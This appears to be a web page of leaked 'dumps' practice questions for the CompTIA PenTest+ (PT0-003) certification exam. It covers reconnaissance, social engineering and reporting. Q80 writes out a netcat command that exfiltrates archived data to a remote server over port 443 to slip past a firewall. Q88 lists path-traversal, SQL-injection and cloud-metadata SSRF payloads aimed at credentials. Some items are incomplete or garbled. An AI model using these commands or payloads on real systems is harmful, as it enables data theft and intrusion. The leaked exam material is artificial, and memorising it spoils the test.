Get CompTIA PT0-003 Dumps Questions Study Exam Guide Dec 03, 2024 [Q76-Q93]

NEW QUESTION 76
A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

Which of the following should the penetration tester do NEXT?

Close the reverse shell the tester is using.

Note this finding for inclusion in the final report.

Investigate the high numbered port connections.

Contact the client immediately.

NEW QUESTION 77
A penetration tester wants to accomplish ARP poisoning as part of an attack. Which of the following tools will the tester most likely utilize?

Wireshark

Netcat

Nmap

Ettercap

NEW QUESTION 78
In Python socket programming, SOCK_DGRAM type is:

reliable.

matrixed.

connectionless.

slower.

NEW QUESTION 79
A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?

Testing window

Terms of service

Authorization letter

Shared responsibilities

NEW QUESTION 80
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| —
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP
Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?

tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz

gzip /path/to/data && cp data.gz <remote_server> 443

gzip /path/to/data && nc -nvlk 443; cat data.gz ‘ nc -w 3 <remote_server> 22

tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

Given the firewall policy, let’s analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
Block: All other traffic (*).
Breakdown of Options:
Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.
Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.
Option B: gzip /path/to/data && cp data.gz <remote_server> 443
This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.
Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22 This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.
Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server> This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.
Reference from Pentest:
Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

NEW QUESTION 81
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Executive summary of the penetration-testing methods used

Bill of materials including supplies, subcontracts, and costs incurred during assessment

Quantitative impact assessments given a successful software compromise

Code context for instances of unsafe type-casting operations

NEW QUESTION 82
A penetration tester received a .pcap file to look for credentials to use in an engagement.
Which of the following tools should the tester utilize to open and read the .pcap file?

Nmap

Wireshark

Metasploit

Netcat

NEW QUESTION 83
A penetration tester is conducting reconnaissance on a target network. The tester runs the following Nmap command: nmap -sv -sT -p – 192.168.1.0/24. Which of the following describes the most likely purpose of this scan?

OS fingerprinting

Attack path mapping

Service discovery

User enumeration

NEW QUESTION 84
A penetration tester identifies an exposed corporate directory containing first and last names and phone numbers for employees. Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?

Smishing

Impersonation

Tailgating

Whaling

NEW QUESTION 85
A penetration tester downloads a JAR file that is used in an organization’s production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester’s activities?

SAST

SBOM

ICS

SCA

NEW QUESTION 86
A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee’s birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

Phishing

Tailgating

Baiting

Shoulder surfing

NEW QUESTION 87
A penetration tester performs an assessment on the target company’s Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?

Network configuration errors in Kubernetes services

Weaknesses and misconfigurations in the Kubernetes cluster

Application deployment issues in Kubernetes

Security vulnerabilities specific to Docker containers

NEW QUESTION 88
A penetration tester is reviewing the security of a web application running in an laaS compute instance.
Which of the following payloads should the tester send to get the running process credentials?

file=http://192.168.
1. 78?+document.cookie

file =.. / .. / .. /proc/self/environ

file=’%20or%2054365=54365 ;–

file=http://169.254.169.254/latest/meta-data/

NEW QUESTION 89
Which of the following OT protocols sends information in cleartext?

TTEthernet

DNP3

Modbus

PROFINET

NEW QUESTION 90
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?

ProxyChains

Netcat

PowerShell ISE

Process IDs

NEW QUESTION 91
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

NEW QUESTION 92
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

Reach out to the primary point of contact

Try to take down the attackers

Call law enforcement officials immediately

Collect the proper evidence and add to the final report

NEW QUESTION 93
A penetration tester writes the following script to enumerate a 1724 network:
1 #!/bin/bash
2 for i in {1..254}; do
3 ping -c1 192.168.1.$i
4 done
The tester executes the script, but it fails with the following error:
-bash: syntax error near unexpected token `ping’
Which of the following should the tester do to fix the error?

Add do after line 2.

Replace {1..254} with $(seq 1 254).

Replace bash with tsh.

Replace $i with ${i}.

Leave a Reply Cancel reply